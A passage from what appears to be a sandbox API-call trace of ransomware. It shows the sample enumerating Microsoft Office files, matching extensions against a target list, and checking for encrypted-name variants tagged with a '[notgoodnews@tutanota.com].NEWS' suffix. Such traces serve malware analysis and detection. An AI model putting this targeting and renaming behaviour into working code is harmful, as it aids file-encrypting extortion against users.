(lpString=".bz2") returned 4 [0268.534] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0268.534] lstrlenW (lpString=".7z") returned 3 [0268.534] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0268.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.535] lstrlenW (lpString=".dbf") returned 4 [0268.535] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0268.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.535] lstrlenW (lpString=".1cd") returned 4 [0268.535] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0268.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.535] lstrlenW (lpString=".jpg") returned 4 [0268.535] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0268.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.535] lstrlenW (lpString=".doc") returned 4 [0268.536] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0268.536] lstrlenW (lpString=".docx") returned 5 [0268.536] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0268.536] lstrlenW (lpString=".pdf") returned 4 [0268.536] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0268.536] lstrlenW (lpString=".xls") returned 4 [0268.536] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0268.536] lstrlenW (lpString=".xlsx") returned 5 [0268.536] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0268.536] lstrlenW (lpString=".ppt") returned 4 [0268.536] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0268.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.537] lstrlenW (lpString=".zip") returned 4 [0268.537] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0268.537] lstrlenW (lpString=".rar") returned 4 [0268.537] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0268.537] lstrlenW (lpString=".bz2") returned 4 [0268.537] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0268.537] lstrlenW (lpString=".7z") returned 3 [0268.537] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0268.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.537] lstrlenW (lpString=".dbf") returned 4 [0268.537] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0268.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.537] lstrlenW (lpString=".1cd") returned 4 [0268.537] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0268.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.538] lstrlenW (lpString=".jpg") returned 4 [0268.538] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0268.538] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0268.538] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0268.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0269.456] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=13240) returned 1 [0269.456] CloseHandle (hObject=0x3a4) returned 1 [0269.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20 [0269.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.766] lstrlenW (lpString=".doc") returned 4 [0269.766] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0269.766] lstrlenW (lpString=".docx") returned 5 [0269.766] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0269.767] lstrlenW (lpString=".pdf") returned 4 [0269.767] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0269.767] lstrlenW (lpString=".xls") returned 4 [0269.767] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0269.767] lstrlenW (lpString=".xlsx") returned 5 [0269.767] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0269.767] lstrlenW (lpString=".ppt") returned 4 [0269.767] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0269.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.767] lstrlenW (lpString=".zip") returned 4 [0269.767] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0269.767] lstrlenW (lpString=".rar") returned 4 [0269.768] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0269.768] lstrlenW (lpString=".bz2") returned 4 [0269.768] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0269.768] lstrlenW (lpString=".7z") returned 3 [0269.768] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0269.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.768] lstrlenW (lpString=".dbf") returned 4 [0269.768] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0269.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.768] lstrlenW (lpString=".1cd") returned 4 [0269.768] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0269.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.768] lstrlenW (lpString=".jpg") returned 4 [0269.769] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0269.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.769] lstrlenW (lpString=".doc") returned 4 [0269.769] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0269.769] lstrlenW (lpString=".docx") returned 5 [0269.769] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0269.769] lstrlenW (lpString=".pdf") returned 4 [0269.769] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0269.769] lstrlenW (lpString=".xls") returned 4 [0269.769] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0269.769] lstrlenW (lpString=".xlsx") returned 5 [0269.770] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0269.770] lstrlenW (lpString=".ppt") returned 4 [0269.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0269.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.770] lstrlenW (lpString=".zip") returned 4 [0269.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0269.770] lstrlenW (lpString=".rar") returned 4 [0269.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0269.770] lstrlenW (lpString=".bz2") returned 4 [0269.770] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0269.770] lstrlenW (lpString=".7z") returned 3 [0269.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0269.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.771] lstrlenW (lpString=".dbf") returned 4 [0269.771] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0269.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.771] lstrlenW (lpString=".1cd") returned 4 [0269.771] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0269.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0269.771] lstrlenW (lpString=".jpg") returned 4 [0269.771] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0269.772] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0269.772] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0269.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0269.773] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=158600) returned 1 [0269.773] CloseHandle (hObject=0x3b8) returned 1 [0269.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20 [0269.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.774] lstrlenW (lpString=".doc") returned 4 [0269.774] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0269.774] lstrlenW (lpString=".docx") returned 5 [0269.774] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0269.774] lstrlenW (lpString=".pdf") returned 4 [0269.774] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0269.774] lstrlenW (lpString=".xls") returned 4 [0269.775] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0269.775] lstrlenW (lpString=".xlsx") returned 5 [0269.775] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0269.775] lstrlenW (lpString=".ppt") returned 4 [0269.775] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0269.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.775] lstrlenW (lpString=".zip") returned 4 [0269.775] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0269.775] lstrlenW (lpString=".rar") returned 4 [0269.775] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0269.775] lstrlenW (lpString=".bz2") returned 4 [0269.775] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0269.775] lstrlenW (lpString=".7z") returned 3 [0269.776] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.776] lstrlenW (lpString=".dbf") returned 4 [0269.776] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.776] lstrlenW (lpString=".1cd") returned 4 [0269.776] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.776] lstrlenW (lpString=".jpg") returned 4 [0269.776] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.777] lstrlenW (lpString=".doc") returned 4 [0269.777] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0269.777] lstrlenW (lpString=".docx") returned 5 [0269.777] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0269.777] lstrlenW (lpString=".pdf") returned 4 [0269.777] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0269.777] lstrlenW (lpString=".xls") returned 4 [0269.777] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0269.777] lstrlenW (lpString=".xlsx") returned 5 [0269.777] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0269.777] lstrlenW (lpString=".ppt") returned 4 [0269.777] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0269.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.778] lstrlenW (lpString=".zip") returned 4 [0269.778] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0269.778] lstrlenW (lpString=".rar") returned 4 [0269.778] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0269.778] lstrlenW (lpString=".bz2") returned 4 [0269.778] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0269.778] lstrlenW (lpString=".7z") returned 3 [0269.778] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0269.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.778] lstrlenW (lpString=".dbf") returned 4 [0269.778] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0269.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.779] lstrlenW (lpString=".1cd") returned 4 [0269.779] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0269.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0269.780] lstrlenW (lpString=".jpg") returned 4 [0269.780] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0269.781] lstrcmpiW (lpString1=".HLP", lpString2=".NEWS") returned -1 [0269.781] lstrlenW (lpString="ACTIP10.HLP") returned 11 [0269.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0269.782] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=343520) returned 1 [0269.782] CloseHandle (hObject=0x3b8) returned 1 [0269.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp")) returned 0x20 [0269.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.786] lstrlenW (lpString=".doc") returned 4 [0269.786] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0269.786] lstrlenW (lpString=".docx") returned 5 [0269.786] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0269.786] lstrlenW (lpString=".pdf") returned 4 [0269.786] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0269.786] lstrlenW (lpString=".xls") returned 4 [0269.786] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0269.786] lstrlenW (lpString=".xlsx") returned 5 [0269.786] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0269.786] lstrlenW (lpString=".ppt") returned 4 [0269.786] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0269.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.787] lstrlenW (lpString=".zip") returned 4 [0269.787] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0269.787] lstrlenW (lpString=".rar") returned 4 [0269.787] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0269.787] lstrlenW (lpString=".bz2") returned 4 [0269.787] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0269.787] lstrlenW (lpString=".7z") returned 3 [0269.787] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0269.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.787] lstrlenW (lpString=".dbf") returned 4 [0269.787] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0269.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.787] lstrlenW (lpString=".1cd") returned 4 [0269.788] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0269.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.788] lstrlenW (lpString=".jpg") returned 4 [0269.788] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0269.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.788] lstrlenW (lpString=".doc") returned 4 [0269.788] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1 [0269.788] lstrlenW (lpString=".docx") returned 5 [0269.788] lstrcmpiW (lpString1=".docx", lpString2="0.HLP") returned -1 [0269.789] lstrlenW (lpString=".pdf") returned 4 [0269.789] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1 [0269.789] lstrlenW (lpString=".xls") returned 4 [0269.789] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1 [0269.789] lstrlenW (lpString=".xlsx") returned 5 [0269.789] lstrcmpiW (lpString1=".xlsx", lpString2="0.HLP") returned -1 [0269.789] lstrlenW (lpString=".ppt") returned 4 [0269.789] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1 [0269.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.789] lstrlenW (lpString=".zip") returned 4 [0269.789] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1 [0269.789] lstrlenW (lpString=".rar") returned 4 [0269.789] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1 [0269.790] lstrlenW (lpString=".bz2") returned 4 [0269.790] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1 [0269.790] lstrlenW (lpString=".7z") returned 3 [0269.790] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1 [0269.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.790] lstrlenW (lpString=".dbf") returned 4 [0269.790] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1 [0269.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.790] lstrlenW (lpString=".1cd") returned 4 [0269.790] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1 [0269.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP") returned 59 [0269.790] lstrlenW (lpString=".jpg") returned 4 [0269.791] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1 [0269.791] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0269.791] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0269.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0269.794] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=275856) returned 1 [0269.794] CloseHandle (hObject=0x3b8) returned 1 [0269.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20 [0269.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0269.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.796] lstrlenW (lpString=".doc") returned 4 [0269.796] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0269.796] lstrlenW (lpString=".docx") returned 5 [0269.796] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0269.796] lstrlenW (lpString=".pdf") returned 4 [0269.796] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0269.796] lstrlenW (lpString=".xls") returned 4 [0269.796] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0269.796] lstrlenW (lpString=".xlsx") returned 5 [0269.796] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0269.796] lstrlenW (lpString=".ppt") returned 4 [0269.797] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0269.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.797] lstrlenW (lpString=".zip") returned 4 [0269.797] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0269.797] lstrlenW (lpString=".rar") returned 4 [0269.797] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0269.797] lstrlenW (lpString=".bz2") returned 4 [0269.797] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0269.797] lstrlenW (lpString=".7z") returned 3 [0269.797] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0269.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.797] lstrlenW (lpString=".dbf") returned 4 [0269.798] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0269.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.798] lstrlenW (lpString=".1cd") returned 4 [0269.798] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0269.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.798] lstrlenW (lpString=".jpg") returned 4 [0269.798] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0269.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.798] lstrlenW (lpString=".doc") returned 4 [0269.798] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0269.799] lstrlenW (lpString=".docx") returned 5 [0269.799] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0269.799] lstrlenW (lpString=".pdf") returned 4 [0269.799] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0269.799] lstrlenW (lpString=".xls") returned 4 [0269.799] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0269.799] lstrlenW (lpString=".xlsx") returned 5 [0269.799] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0269.799] lstrlenW (lpString=".ppt") returned 4 [0269.799] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0269.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.799] lstrlenW (lpString=".zip") returned 4 [0269.800] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0269.800] lstrlenW (lpString=".rar") returned 4 [0269.800] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0269.800] lstrlenW (lpString=".bz2") returned 4 [0269.800] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0269.800] lstrlenW (lpString=".7z") returned 3 [0269.800] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0269.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.800] lstrlenW (lpString=".dbf") returned 4 [0269.800] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0269.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.800] lstrlenW (lpString=".1cd") returned 4 [0269.800] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0269.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0269.801] lstrlenW (lpString=".jpg") returned 4 [0269.801] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0269.801] lstrcmpiW 